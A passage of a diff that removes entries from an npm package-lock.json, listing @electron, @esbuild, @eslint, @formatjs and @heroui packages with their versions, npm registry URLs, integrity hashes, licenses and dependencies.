"sha512-w8ZNZr2mKIc7qeNaQ9AVPT1+iFaI+Avd4xudVOvdDJ8VytREi1Ft5Ih7hd9jjehod8vAM5GMsfQ/TpPf4EyoEA==", - "dev": true, - "license": "MIT", - "dependencies": { - "graceful-fs": "^4.2.0", - "jsonfile": "^6.0.1", - "universalify": "^2.0.0" - }, - "engines": { - "node": ">=14.14" - } - }, - "node_modules/@electron/universal/node_modules/minimatch": { - "version": "9.0.9", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.9.tgz", - "integrity": "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==", - "dev": true, - "license": "ISC", - "dependencies": { - "brace-expansion": "^2.0.2" - }, - "engines": { - "node": ">=16 || 14 >=14.17" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/@electron/windows-sign": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/@electron/windows-sign/-/windows-sign-1.2.2.tgz", - "integrity": "sha512-dfZeox66AvdPtb2lD8OsIIQh12Tp0GNCRUDfBHIKGpbmopZto2/A8nSpYYLoedPIHpqkeblZ/k8OV0Gy7PYuyQ==", - "dev": true, - "license": "BSD-2-Clause", - "optional": true, - "peer": true, - "dependencies": { - "cross-dirname": "^0.1.0", - "debug": "^4.3.4", - "fs-extra": "^11.1.1", - "minimist": "^1.2.8", - "postject": "^1.0.0-alpha.6" - }, - "bin": { - "electron-windows-sign": "bin/electron-windows-sign.js" - }, - "engines": { - "node": ">=14.14" - } - }, - "node_modules/@electron/windows-sign/node_modules/fs-extra": { - "version": "11.3.6", - "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-11.3.6.tgz", - "integrity": "sha512-w8ZNZr2mKIc7qeNaQ9AVPT1+iFaI+Avd4xudVOvdDJ8VytREi1Ft5Ih7hd9jjehod8vAM5GMsfQ/TpPf4EyoEA==", - "dev": true, - "license": "MIT", - "optional": true, - "peer": true, - "dependencies": { - "graceful-fs": "^4.2.0", - "jsonfile": "^6.0.1", - "universalify": "^2.0.0" - }, - "engines": { - "node": ">=14.14" - } - }, - "node_modules/@emnapi/core": { - "version": "1.10.0", - "resolved": "https://registry.npmjs.org/@emnapi/core/-/core-1.10.0.tgz", - "integrity": "sha512-yq6OkJ4p82CAfPl0u9mQebQHKPJkY7WrIuk205cTYnYe+k2Z8YBh11FrbRG/H6ihirqcacOgl2BIO8oyMQLeXw==", - "license": "MIT", - "optional": true, - "dependencies": { - "@emnapi/wasi-threads": "1.2.1", - "tslib": "^2.4.0" - } - }, - "node_modules/@emnapi/runtime": { - "version": "1.10.0", - "resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.10.0.tgz", - "integrity": "sha512-ewvYlk86xUoGI0zQRNq/mC+16R1QeDlKQy21Ki3oSYXNgLb45GV1P6A0M+/s6nyCuNDqe5VpaY84BzXGwVbwFA==", - "license": "MIT", - "optional": true, - "dependencies": { - "tslib": "^2.4.0" - } - }, - "node_modules/@emnapi/wasi-threads": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/@emnapi/wasi-threads/-/wasi-threads-1.2.1.tgz", - "integrity": "sha512-uTII7OYF+/Mes/MrcIOYp5yOtSMLBWSIoLPpcgwipoiKbli6k322tcoFsxoIIxPDqW01SQGAgko4EzZi2BNv2w==", - "license": "MIT", - "optional": true, - "dependencies": { - "tslib": "^2.4.0" - } - }, - "node_modules/@epic-web/invariant": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@epic-web/invariant/-/invariant-1.0.0.tgz", - "integrity": "sha512-lrTPqgvfFQtR/eY/qkIzp98OGdNJu0m5ji3q/nJI8v3SXkRKEnWiOxMmbvcSoAIzv/cGiuvRy57k4suKQSAdwA==", - "dev": true, - "license": "MIT" - }, - "node_modules/@esbuild/aix-ppc64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.27.7.tgz", - "integrity": "sha512-EKX3Qwmhz1eMdEJokhALr0YiD0lhQNwDqkPYyPhiSwKrh7/4KRjQc04sZ8db+5DVVnZ1LmbNDI1uAMPEUBnQPg==", - "cpu": [ - "ppc64" - ], - "license": "MIT", - "optional": true, - "os": [ - "aix" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/android-arm": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.27.7.tgz", - "integrity": "sha512-jbPXvB4Yj2yBV7HUfE2KHe4GJX51QplCN1pGbYjvsyCZbQmies29EoJbkEc+vYuU5o45AfQn37vZlyXy4YJ8RQ==", - "cpu": [ - "arm" - ], - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/android-arm64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.27.7.tgz", - "integrity": "sha512-62dPZHpIXzvChfvfLJow3q5dDtiNMkwiRzPylSCfriLvZeq0a1bWChrGx/BbUbPwOrsWKMn8idSllklzBy+dgQ==", - "cpu": [ - "arm64" - ], - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/android-x64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.27.7.tgz", - "integrity": "sha512-x5VpMODneVDb70PYV2VQOmIUUiBtY3D3mPBG8NxVk5CogneYhkR7MmM3yR/uMdITLrC1ml/NV1rj4bMJuy9MCg==", - "cpu": [ - "x64" - ], - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/darwin-arm64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.27.7.tgz", - "integrity": "sha512-5lckdqeuBPlKUwvoCXIgI2D9/ABmPq3Rdp7IfL70393YgaASt7tbju3Ac+ePVi3KDH6N2RqePfHnXkaDtY9fkw==", - "cpu": [ - "arm64" - ], - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/darwin-x64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.27.7.tgz", - "integrity": "sha512-rYnXrKcXuT7Z+WL5K980jVFdvVKhCHhUwid+dDYQpH+qu+TefcomiMAJpIiC2EM3Rjtq0sO3StMV/+3w3MyyqQ==", - "cpu": [ - "x64" - ], - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/freebsd-arm64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.27.7.tgz", - "integrity": "sha512-B48PqeCsEgOtzME2GbNM2roU29AMTuOIN91dsMO30t+Ydis3z/3Ngoj5hhnsOSSwNzS+6JppqWsuhTp6E82l2w==", - "cpu": [ - "arm64" - ], - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/freebsd-x64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.27.7.tgz", - "integrity": "sha512-jOBDK5XEjA4m5IJK3bpAQF9/Lelu/Z9ZcdhTRLf4cajlB+8VEhFFRjWgfy3M1O4rO2GQ/b2dLwCUGpiF/eATNQ==", - "cpu": [ - "x64" - ], - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-arm": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.27.7.tgz", - "integrity": "sha512-RkT/YXYBTSULo3+af8Ib0ykH8u2MBh57o7q/DAs3lTJlyVQkgQvlrPTnjIzzRPQyavxtPtfg0EopvDyIt0j1rA==", - "cpu": [ - "arm" - ], - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-arm64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.27.7.tgz", - "integrity": "sha512-RZPHBoxXuNnPQO9rvjh5jdkRmVizktkT7TCDkDmQ0W2SwHInKCAV95GRuvdSvA7w4VMwfCjUiPwDi0ZO6Nfe9A==", - "cpu": [ - "arm64" - ], - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-ia32": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.27.7.tgz", - "integrity": "sha512-GA48aKNkyQDbd3KtkplYWT102C5sn/EZTY4XROkxONgruHPU72l+gW+FfF8tf2cFjeHaRbWpOYa/uRBz/Xq1Pg==", - "cpu": [ - "ia32" - ], - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-loong64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.27.7.tgz", - "integrity": "sha512-a4POruNM2oWsD4WKvBSEKGIiWQF8fZOAsycHOt6JBpZ+JN2n2JH9WAv56SOyu9X5IqAjqSIPTaJkqN8F7XOQ5Q==", - "cpu": [ - "loong64" - ], - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-mips64el": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.27.7.tgz", - "integrity": "sha512-KabT5I6StirGfIz0FMgl1I+R1H73Gp0ofL9A3nG3i/cYFJzKHhouBV5VWK1CSgKvVaG4q1RNpCTR2LuTVB3fIw==", - "cpu": [ - "mips64el" - ], - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-ppc64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.27.7.tgz", - "integrity": "sha512-gRsL4x6wsGHGRqhtI+ifpN/vpOFTQtnbsupUF5R5YTAg+y/lKelYR1hXbnBdzDjGbMYjVJLJTd2OFmMewAgwlQ==", - "cpu": [ - "ppc64" - ], - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-riscv64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.27.7.tgz", - "integrity": "sha512-hL25LbxO1QOngGzu2U5xeXtxXcW+/GvMN3ejANqXkxZ/opySAZMrc+9LY/WyjAan41unrR3YrmtTsUpwT66InQ==", - "cpu": [ - "riscv64" - ], - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-s390x": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.27.7.tgz", - "integrity": "sha512-2k8go8Ycu1Kb46vEelhu1vqEP+UeRVj2zY1pSuPdgvbd5ykAw82Lrro28vXUrRmzEsUV0NzCf54yARIK8r0fdw==", - "cpu": [ - "s390x" - ], - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-x64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.27.7.tgz", - "integrity": "sha512-hzznmADPt+OmsYzw1EE33ccA+HPdIqiCRq7cQeL1Jlq2gb1+OyWBkMCrYGBJ+sxVzve2ZJEVeePbLM2iEIZSxA==", - "cpu": [ - "x64" - ], - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/netbsd-arm64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.27.7.tgz", - "integrity": "sha512-b6pqtrQdigZBwZxAn1UpazEisvwaIDvdbMbmrly7cDTMFnw/+3lVxxCTGOrkPVnsYIosJJXAsILG9XcQS+Yu6w==", - "cpu": [ - "arm64" - ], - "license": "MIT", - "optional": true, - "os": [ - "netbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/netbsd-x64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.27.7.tgz", - "integrity": "sha512-OfatkLojr6U+WN5EDYuoQhtM+1xco+/6FSzJJnuWiUw5eVcicbyK3dq5EeV/QHT1uy6GoDhGbFpprUiHUYggrw==", - "cpu": [ - "x64" - ], - "license": "MIT", - "optional": true, - "os": [ - "netbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/openbsd-arm64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.27.7.tgz", - "integrity": "sha512-AFuojMQTxAz75Fo8idVcqoQWEHIXFRbOc1TrVcFSgCZtQfSdc1RXgB3tjOn/krRHENUB4j00bfGjyl2mJrU37A==", - "cpu": [ - "arm64" - ], - "license": "MIT", - "optional": true, - "os": [ - "openbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/openbsd-x64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.27.7.tgz", - "integrity": "sha512-+A1NJmfM8WNDv5CLVQYJ5PshuRm/4cI6WMZRg1by1GwPIQPCTs1GLEUHwiiQGT5zDdyLiRM/l1G0Pv54gvtKIg==", - "cpu": [ - "x64" - ], - "license": "MIT", - "optional": true, - "os": [ - "openbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/openharmony-arm64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.27.7.tgz", - "integrity": "sha512-+KrvYb/C8zA9CU/g0sR6w2RBw7IGc5J2BPnc3dYc5VJxHCSF1yNMxTV5LQ7GuKteQXZtspjFbiuW5/dOj7H4Yw==", - "cpu": [ - "arm64" - ], - "license": "MIT", - "optional": true, - "os": [ - "openharmony" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/sunos-x64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.27.7.tgz", - "integrity": "sha512-ikktIhFBzQNt/QDyOL580ti9+5mL/YZeUPKU2ivGtGjdTYoqz6jObj6nOMfhASpS4GU4Q/Clh1QtxWAvcYKamA==", - "cpu": [ - "x64" - ], - "license": "MIT", - "optional": true, - "os": [ - "sunos" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/win32-arm64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.27.7.tgz", - "integrity": "sha512-7yRhbHvPqSpRUV7Q20VuDwbjW5kIMwTHpptuUzV+AA46kiPze5Z7qgt6CLCK3pWFrHeNfDd1VKgyP4O+ng17CA==", - "cpu": [ - "arm64" - ], - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/win32-ia32": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.27.7.tgz", - "integrity": "sha512-SmwKXe6VHIyZYbBLJrhOoCJRB/Z1tckzmgTLfFYOfpMAx63BJEaL9ExI8x7v0oAO3Zh6D/Oi1gVxEYr5oUCFhw==", - "cpu": [ - "ia32" - ], - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/win32-x64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.27.7.tgz", - "integrity": "sha512-56hiAJPhwQ1R4i+21FVF7V8kSD5zZTdHcVuRFMW0hn753vVfQN8xlx4uOPT4xoGH0Z/oVATuR82AiqSTDIpaHg==", - "cpu": [ - "x64" - ], - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@eslint-community/eslint-utils": { - "version": "4.9.1", - "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.9.1.tgz", - "integrity": "sha512-phrYmNiYppR7znFEdqgfWHXR6NCkZEK7hwWDHZUjit/2/U0r6XvkDl0SYnoM51Hq7FhCGdLDT6zxCCOY1hexsQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "eslint-visitor-keys": "^3.4.3" - }, - "engines": { - "node": "^12.22.0 || ^14.17.0 || >=16.0.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - }, - "peerDependencies": { - "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0" - } - }, - "node_modules/@eslint-community/regexpp": { - "version": "4.12.2", - "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.12.2.tgz", - "integrity": "sha512-EriSTlt5OC9/7SXkRSCAhfSxxoSUgBm33OH+IkwbdpgoqsSsUg7y3uh+IICI/Qg4BBWr3U2i39RpmycbxMq4ew==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^12.0.0 || ^14.0.0 || >=16.0.0" - } - }, - "node_modules/@eslint/config-array": { - "version": "0.21.2", - "resolved": "https://registry.npmjs.org/@eslint/config-array/-/config-array-0.21.2.tgz", - "integrity": "sha512-nJl2KGTlrf9GjLimgIru+V/mzgSK0ABCDQRvxw5BjURL7WfH5uoWmizbH7QB6MmnMBd8cIC9uceWnezL1VZWWw==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "@eslint/object-schema": "^2.1.7", - "debug": "^4.3.1", - "minimatch": "^3.1.5" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - } - }, - "node_modules/@eslint/config-helpers": { - "version": "0.4.2", - "resolved": "https://registry.npmjs.org/@eslint/config-helpers/-/config-helpers-0.4.2.tgz", - "integrity": "sha512-gBrxN88gOIf3R7ja5K9slwNayVcZgK6SOUORm2uBzTeIEfeVaIhOpCtTox3P6R7o2jLFwLFTLnC7kU/RGcYEgw==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "@eslint/core": "^0.17.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - } - }, - "node_modules/@eslint/core": { - "version": "0.17.0", - "resolved": "https://registry.npmjs.org/@eslint/core/-/core-0.17.0.tgz", - "integrity": "sha512-yL/sLrpmtDaFEiUj1osRP4TI2MDz1AddJL+jZ7KSqvBuliN4xqYY54IfdN8qD8Toa6g1iloph1fxQNkjOxrrpQ==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "@types/json-schema": "^7.0.15" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - } - }, - "node_modules/@eslint/eslintrc": { - "version": "3.3.1", - "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-3.3.1.tgz", - "integrity": "sha512-gtF186CXhIl1p4pJNGZw8Yc6RlshoePRvE0X91oPGb3vZ8pM3qOS9W9NGPat9LziaBV7XrJWGylNQXkGcnM3IQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "ajv": "^6.12.4", - "debug": "^4.3.2", - "espree": "^10.0.1", - "globals": "^14.0.0", - "ignore": "^5.2.0", - "import-fresh": "^3.2.1", - "js-yaml": "^4.1.0", - "minimatch": "^3.1.2", - "strip-json-comments": "^3.1.1" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/@eslint/eslintrc/node_modules/globals": { - "version": "14.0.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-14.0.0.tgz", - "integrity": "sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/@eslint/js": { - "version": "9.39.4", - "resolved": "https://registry.npmjs.org/@eslint/js/-/js-9.39.4.tgz", - "integrity": "sha512-nE7DEIchvtiFTwBw4Lfbu59PG+kCofhjsKaCWzxTpt4lfRjRMqG6uMBzKXuEcyXhOHoUp9riAm7/aWYGhXZ9cw==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://eslint.org/donate" - } - }, - "node_modules/@eslint/object-schema": { - "version": "2.1.7", - "resolved": "https://registry.npmjs.org/@eslint/object-schema/-/object-schema-2.1.7.tgz", - "integrity": "sha512-VtAOaymWVfZcmZbp6E2mympDIHvyjXs/12LqWYjVw6qjrfF+VK+fyG33kChz3nnK+SU5/NeHOqrTEHS8sXO3OA==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - } - }, - "node_modules/@eslint/plugin-kit": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/@eslint/plugin-kit/-/plugin-kit-0.4.1.tgz", - "integrity": "sha512-43/qtrDUokr7LJqoF2c3+RInu/t4zfrpYdoSDfYyhg52rwLV6TnOvdG4fXm7IkSB3wErkcmJS9iEhjVtOSEjjA==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "@eslint/core": "^0.17.0", - "levn": "^0.4.1" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - } - }, - "node_modules/@exodus/bytes": { - "version": "1.15.1", - "resolved": "https://registry.npmjs.org/@exodus/bytes/-/bytes-1.15.1.tgz", - "integrity": "sha512-S6mL0yNB/Abt9Ei4tq8gDhcczc4S3+vQ4ra7vxnAf+YHC02srtqxKKZghx2Dq6p0e66THKwR6r8N6P95wEty7Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^20.19.0 || ^22.12.0 || >=24.0.0" - }, - "peerDependencies": { - "@noble/hashes": "^1.8.0 || ^2.0.0" - }, - "peerDependenciesMeta": { - "@noble/hashes": { - "optional": true - } - } - }, - "node_modules/@formatjs/ecma402-abstract": { - "version": "2.3.6", - "resolved": "https://registry.npmjs.org/@formatjs/ecma402-abstract/-/ecma402-abstract-2.3.6.tgz", - "integrity": "sha512-HJnTFeRM2kVFVr5gr5kH1XP6K0JcJtE7Lzvtr3FS/so5f1kpsqqqxy5JF+FRaO6H2qmcMfAUIox7AJteieRtVw==", - "license": "MIT", - "dependencies": { - "@formatjs/fast-memoize": "2.2.7", - "@formatjs/intl-localematcher": "0.6.2", - "decimal.js": "^10.4.3", - "tslib": "^2.8.0" - } - }, - "node_modules/@formatjs/fast-memoize": { - "version": "2.2.7", - "resolved": "https://registry.npmjs.org/@formatjs/fast-memoize/-/fast-memoize-2.2.7.tgz", - "integrity": "sha512-Yabmi9nSvyOMrlSeGGWDiH7rf3a7sIwplbvo/dlz9WCIjzIQAfy1RMf4S0X3yG724n5Ghu2GmEl5NJIV6O9sZQ==", - "license": "MIT", - "dependencies": { - "tslib": "^2.8.0" - } - }, - "node_modules/@formatjs/icu-messageformat-parser": { - "version": "2.11.4", - "resolved": "https://registry.npmjs.org/@formatjs/icu-messageformat-parser/-/icu-messageformat-parser-2.11.4.tgz", - "integrity": "sha512-7kR78cRrPNB4fjGFZg3Rmj5aah8rQj9KPzuLsmcSn4ipLXQvC04keycTI1F7kJYDwIXtT2+7IDEto842CfZBtw==", - "license": "MIT", - "dependencies": { - "@formatjs/ecma402-abstract": "2.3.6", - "@formatjs/icu-skeleton-parser": "1.8.16", - "tslib": "^2.8.0" - } - }, - "node_modules/@formatjs/icu-skeleton-parser": { - "version": "1.8.16", - "resolved": "https://registry.npmjs.org/@formatjs/icu-skeleton-parser/-/icu-skeleton-parser-1.8.16.tgz", - "integrity": "sha512-H13E9Xl+PxBd8D5/6TVUluSpxGNvFSlN/b3coUp0e0JpuWXXnQDiavIpY3NnvSp4xhEMoXyyBvVfdFX8jglOHQ==", - "license": "MIT", - "dependencies": { - "@formatjs/ecma402-abstract": "2.3.6", - "tslib": "^2.8.0" - } - }, - "node_modules/@formatjs/intl-localematcher": { - "version": "0.6.2", - "resolved": "https://registry.npmjs.org/@formatjs/intl-localematcher/-/intl-localematcher-0.6.2.tgz", - "integrity": "sha512-XOMO2Hupl0wdd172Y06h6kLpBz6Dv+J4okPLl4LPtzbr8f66WbIoy4ev98EBuZ6ZK4h5ydTN6XneT4QVpD7cdA==", - "license": "MIT", - "dependencies": { - "tslib": "^2.8.0" - } - }, - "node_modules/@heroui/accordion": { - "version": "2.2.29", - "resolved": "https://registry.npmjs.org/@heroui/accordion/-/accordion-2.2.29.tgz", - "integrity": "sha512-nhCqgZ3ejgRLRM3jJnpZExufn050raxOVyNUR7zo9o5Ed10KKRpD3J/8l6gwrYA7j+Z46dF2YLJzIFWPzYf1Kw==", - "license": "MIT", - "dependencies": { - "@heroui/aria-utils": "2.2.29", - "@heroui/divider": "2.2.24", - "@heroui/dom-animation": "2.1.10", - "@heroui/framer-utils": "2.1.28", - "@heroui/react-utils": "2.1.14", - "@heroui/shared-icons": "2.1.10", - "@heroui/shared-utils": "2.1.12", - "@heroui/use-aria-accordion": "2.2.20", - "@react-aria/focus": "3.21.5", - "@react-aria/interactions": "3.27.1", - "@react-stately/tree": "3.9.6", - "@react-types/accordion": "3.0.0-alpha.26", - "@react-types/shared": "3.33.1" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.24", - "framer-motion": ">=11.5.6 || >=12.0.0-alpha.1", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/alert": { - "version": "2.2.32", - "resolved": "https://registry.npmjs.org/@heroui/alert/-/alert-2.2.32.tgz", - "integrity": "sha512-8piby1PXVTTtdwLLV60JMqduRAFLHoiQpFPeSNVHsAaMIphXsmlpvUb9dct4f0wQJqqgFutiWL3RtjdDwEkRQQ==", - "license": "MIT", - "dependencies": { - "@heroui/button": "2.2.32", - "@heroui/react-utils": "2.1.14", - "@heroui/shared-icons": "2.1.10", - "@heroui/shared-utils": "2.1.12", - "@react-stately/utils": "3.11.0" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.24", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/aria-utils": { - "version": "2.2.29", - "resolved": "https://registry.npmjs.org/@heroui/aria-utils/-/aria-utils-2.2.29.tgz", - "integrity": "sha512-tVc5Rz+u/WMaAoYpx4VNheFqsfxA5i0SAqT8OAFpPX0WiNrylXaAGWsid/ivFdlW4rE1FgI/+wP0KS6c8KSEjQ==", - "license": "MIT", - "dependencies": { - "@heroui/system": "2.4.28", - "@react-aria/utils": "3.33.1", - "@react-stately/collections": "3.12.10", - "@react-types/overlays": "3.9.4", - "@react-types/shared": "3.33.1" - }, - "peerDependencies": { - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/autocomplete": { - "version": "2.3.34", - "resolved": "https://registry.npmjs.org/@heroui/autocomplete/-/autocomplete-2.3.34.tgz", - "integrity": "sha512-DTmztrWMdEtHCIJmgSyO/7QrABsaq/kDqBg6aVw+P30sgLW6k05wYOqe6ctuoNSWaZzr56QPvFpsgbeMy7Ma0A==", - "license": "MIT", - "dependencies": { - "@heroui/aria-utils": "2.2.29", - "@heroui/button": "2.2.32", - "@heroui/form": "2.1.32", - "@heroui/input": "2.4.33", - "@heroui/listbox": "2.3.31", - "@heroui/popover": "2.3.32", - "@heroui/react-utils": "2.1.14", - "@heroui/scroll-shadow": "2.3.19", - "@heroui/shared-icons": "2.1.10", - "@heroui/shared-utils": "2.1.12", - "@heroui/use-safe-layout-effect": "2.1.8", - "@react-aria/combobox": "3.15.0", - "@react-aria/i18n": "3.12.16", - "@react-stately/combobox": "3.13.0", - "@react-types/combobox": "3.14.0", - "@react-types/shared": "3.33.1" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.24", - "framer-motion": ">=11.5.6 || >=12.0.0-alpha.1", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/avatar": { - "version": "2.2.26", - "resolved": "https://registry.npmjs.org/@heroui/avatar/-/avatar-2.2.26.tgz", - "integrity": "sha512-W2z64Da38ZL4Lu9Pokan2frTURcXxUs3bV37WWJjMzCD6mOAlaogWYMQdAeYmeWHyAW18XZSa5OaUCMVrzJ2SQ==", - "license": "MIT", - "dependencies": { - "@heroui/react-utils": "2.1.14", - "@heroui/shared-utils": "2.1.12", - "@heroui/use-image": "2.1.14", - "@react-aria/focus": "3.21.5", - "@react-aria/interactions": "3.27.1" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.24", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/badge": { - 